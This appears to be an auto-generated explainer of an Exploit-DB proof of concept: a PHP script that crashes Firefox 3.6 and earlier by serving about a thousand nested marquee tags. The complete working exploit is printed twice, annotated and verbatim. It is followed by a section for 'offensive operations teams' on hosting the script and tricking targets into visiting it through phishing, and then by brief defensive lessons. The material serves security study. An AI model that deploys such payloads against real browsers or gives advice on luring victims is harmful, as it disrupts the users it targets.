Mozilla Firefox 3.6 Denial of Service Exploit Explained

What this paper is

This paper describes a remote Denial of Service (DoS) vulnerability in Mozilla Firefox versions up to and including 3.6. The exploit is presented as a PHP script that, when accessed by a vulnerable Firefox browser, causes the browser to crash.

Simple technical breakdown

The vulnerability lies in how Firefox handles nested <marquee> tags. The <marquee> tag is an HTML element used to create scrolling text. By creating an excessively deep nesting of these tags, the browser struggles to process the HTML, leading to a crash. The provided PHP script automates the creation of this deeply nested structure.

Complete code and payload walkthrough

The provided code is a simple PHP script that generates HTML.

<?php

/*
*    Title: Mozilla Firefox <=3.6 - Remote Denial Of Service Exploit
*    Date: 25/02/10
*    Author: Ale46 - ale46[at]paranoici[dot]org
*    Software Link: http://www.mozilla-europe.org/en/firefox/
*    Version: 3.6 and 3.5.8 are vulnerable so I think that all versions <= 3.6 have the same issue
*    Tested on: Windows 7 x32\x64 - Ubuntu 9.10 x32
*    Description: visiting this php page you'll get an instant crash of Firefox
*    Greetz: Gandalf
*    Extra Greetz: University of Palermo and its fantastics rules for the Computer Engineering degree (how beautiful 's irony)
*/

$a = '<marquee>'; // Initialize variable $a with an opening <marquee> tag.
$b = '</marquee>'; // Initialize variable $b with a closing </marquee> tag.

for ($i=0;$i<=1000;$i++){ // Loop 1001 times (from 0 to 1000 inclusive).
    $a .= '<marquee>'; // In each iteration, append an opening <marquee> tag to $a.
    $b .= '</marquee>'; // In each iteration, append a closing </marquee> tag to $b.
}

echo '<body>'; // Output the opening <body> tag.
echo $a; // Output the accumulated opening <marquee> tags.
echo "hadouken!"; // Output the text "hadouken!".
echo $b; // Output the accumulated closing </marquee> tags.
echo '</body>'; // Output the closing </body> tag.

?>

Code Fragment/Block -> Practical Purpose:

$a = '<marquee>'; -> Initializes a string that will hold the opening <marquee> tags.
$b = '</marquee>'; -> Initializes a string that will hold the closing </marquee> tags.
for ($i=0;$i<=1000;$i++) { ... } -> This loop is the core of the exploit. It iteratively builds up a large number of nested <marquee> tags.
$a .= '<marquee>'; -> Appends an opening <marquee> tag to the $a string in each loop iteration. This creates a deeply nested structure like <marquee><marquee><marquee>...</marquee></marquee></marquee>.
$b .= '</marquee>'; -> Appends a closing </marquee> tag to the $b string in each loop iteration. This mirrors the opening tags.
echo '<body>'; -> Starts the HTML body.
echo $a; -> Inserts the string of opening <marquee> tags into the HTML.
echo "hadouken!"; -> Inserts some arbitrary text. This text will be within the scrolling marquee.
echo $b; -> Inserts the string of closing </marquee> tags into the HTML.
echo '</body>'; -> Ends the HTML body.

Payload Explanation:

There is no separate shellcode or binary payload in this exploit. The "payload" is the generated HTML itself, which is delivered via the PHP script. The PHP script dynamically constructs an HTML string that, when parsed by a vulnerable browser, triggers the DoS condition.

Practical details for offensive operations teams

Required Access Level: Low. This is a client-side exploit. The attacker needs to host the PHP script on a web server that the target user can access. This could be a compromised web server, a publicly accessible web server controlled by the attacker, or even a local web server if the target can be tricked into visiting a local URL.
Lab Preconditions:
- A web server capable of executing PHP.
- A target machine with a vulnerable version of Mozilla Firefox (<= 3.6).
- Network connectivity between the target and the web server.
Tooling Assumptions:
- A web server (e.g., Apache, Nginx with PHP installed).
- A text editor to create the PHP exploit file.
- A browser to test the exploit.
Execution Pitfalls:
- Browser Version: The exploit is highly dependent on the specific version of Firefox. Newer versions are likely patched.
- Network Access: The target must be able to reach the PHP script over the network. Firewalls or network segmentation could prevent this.
- User Interaction: The target user must be tricked into visiting the URL hosting the PHP script. This typically involves social engineering (e.g., phishing emails, malicious links on websites).
- Resource Limits: While the exploit aims to crash the browser, extreme resource limitations on the client machine might prevent a full crash, leading to severe slowdown instead.
- Browser Extensions/Sandboxing: Modern browser security features like sandboxing or extensions that might interfere with HTML parsing could potentially mitigate the impact, though this exploit predates many of these.
Telemetry:
- Web Server Logs: Access logs on the web server will show requests to the PHP exploit file.
- Network Traffic: Network monitoring might reveal HTTP requests to the exploit server.
- Client-Side Crashes: The primary indicator is the target user reporting Firefox crashes. There might be crash reports generated by Firefox itself, depending on user settings.

Where this was used and when

This exploit was published in February 2010. At that time, Firefox 3.6 and 3.5.8 were current or recent versions. Such vulnerabilities were typically used in:

Proof-of-Concept Demonstrations: Security researchers and ethical hackers would use these to demonstrate the security posture of web browsers and applications.
Limited Targeted Attacks: In 2010, targeted attacks might have used such vulnerabilities to disrupt specific users or organizations, often as a precursor to more sophisticated attacks or for simple disruption.
Web-based Exploitation Frameworks: While this specific exploit is simple, similar HTML/script-based DoS vectors could be integrated into broader web exploitation frameworks.

Defensive lessons for modern teams

Keep Software Updated: The most effective defense is to ensure all software, especially browsers, is kept up-to-date with the latest security patches. This vulnerability was fixed in later Firefox versions.
Understand HTML Parsing: Developers and security teams should be aware of how browsers parse complex or malformed HTML. Vulnerabilities can arise from edge cases in parsers.
Content Security Policy (CSP): While CSP is more about preventing script execution, robust HTML parsing and sanitization are crucial.
Resource Management: Browsers have internal limits to prevent resource exhaustion. However, poorly handled nested structures can still overwhelm these limits.
Web Application Firewalls (WAFs): While this is a client-side browser vulnerability, a WAF might be configured to detect and block requests that generate excessively malformed or complex HTML, though this specific pattern might be hard to signature.

ASCII visual (if applicable)

This exploit doesn't lend itself to a complex architectural diagram. The core concept is the deep nesting of HTML tags.

+-----------------+     +-----------------+     +-----------------+
| Attacker's      | --> | Web Server      | --> | Target Browser  |
| PHP Exploit     |     | (hosts exploit) |     | (Firefox <=3.6) |
+-----------------+     +-----------------+     +-----------------+
                              |
                              | HTML Output (Deeply Nested <marquee>)
                              v
                      +-----------------------+
                      | Browser HTML Parser   |
                      | (Overwhelmed)         |
                      +-----------------------+
                              |
                              v
                      +-----------------------+
                      | Browser Crash         |
                      +-----------------------+

Source references

Paper URL: https://www.exploit-db.com/papers/11590
Raw Exploit URL: https://www.exploit-db.com/raw/11590

Original Exploit-DB Content (Verbatim)

<?php

/*
*    Title: Mozilla Firefox <=3.6 - Remote Denial Of Service Exploit
*    Date: 25/02/10
*    Author: Ale46 - ale46[at]paranoici[dot]org
*    Software Link: http://www.mozilla-europe.org/en/firefox/
*    Version: 3.6 and 3.5.8 are vulnerable so I think that all versions <= 3.6 have the same issue
*    Tested on: Windows 7 x32\x64 - Ubuntu 9.10 x32
*    Description: visiting this php page you'll get an instant crash of Firefox
*    Greetz: Gandalf
*    Extra Greetz: University of Palermo and its fantastics rules for the Computer Engineering degree (how beautiful 's irony)
*/

$a = '<marquee>';
$b = '</marquee>';

for ($i=0;$i<=1000;$i++){
    $a .= '<marquee>';
    $b .= '</marquee>';
}

echo '<body>';
echo $a;
echo "hadouken!";
echo $b;
echo '</body>';

?>

By exploitdb papers bot•February 27, 2010•

papers